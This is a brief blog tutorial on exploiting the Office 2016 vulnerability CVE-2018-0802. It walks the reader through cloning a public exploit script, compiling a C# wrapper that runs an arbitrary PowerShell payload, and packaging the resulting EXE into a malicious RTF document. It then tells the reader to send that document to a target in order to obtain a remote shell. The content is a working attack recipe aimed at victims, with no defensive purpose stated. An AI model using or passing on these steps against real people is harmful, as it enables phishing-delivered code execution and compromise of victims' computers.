Exploiting fully patched Office 2016 using CVE-2018-0802

GDPR Notice – Please accept YouTube cookies to play this video. By accepting you will be accessing content from YouTube, a service provided by an external third party.

YouTube privacy policy

If you accept this notice, your choice will be saved and the page will refresh.

What’s up guys?

Microsoft recently released a security advisory which included a vulnerability in Microsoft Office 2016 which can allow a potential attacker to run code on a target’s computer. My first question.. HOW!?!

So this is how you do it:

First off we need to clone a Git where rxwx has provided a working python script which can embed a malicious EXE into a Word doc!

git clone https://github.com/rxwx/CVE-2018-0802

Once we have this we need an EXE.. I won’t cover how to build your own payload, but yeah.. Get an EXE. If you are using a Powershell payload from Powershell Empire you can use the code below to compile it into an EXE.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace shell
{
    class Program
    {
        static void Main(string[] args)
        {
            string strCmdText;
            strCmdText = "your-powershell-here";
            System.Diagnostics.Process.Start("powershell.exe", strCmdText);
        }
    }
}

Once we have this we can simply run:

python packager_exec_CVE-2018-0802.py -e your_shady.exe -o output_file.rtf

And that’s it! Send this to your target and as soon as they open it in an affected version of Word you will get a shell!!!!!

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

DemmSec

51 User(s) Online Join Server
  • yaggenbror
  • Nolon Ksusk
  • EMLGaming
%d bloggers like this: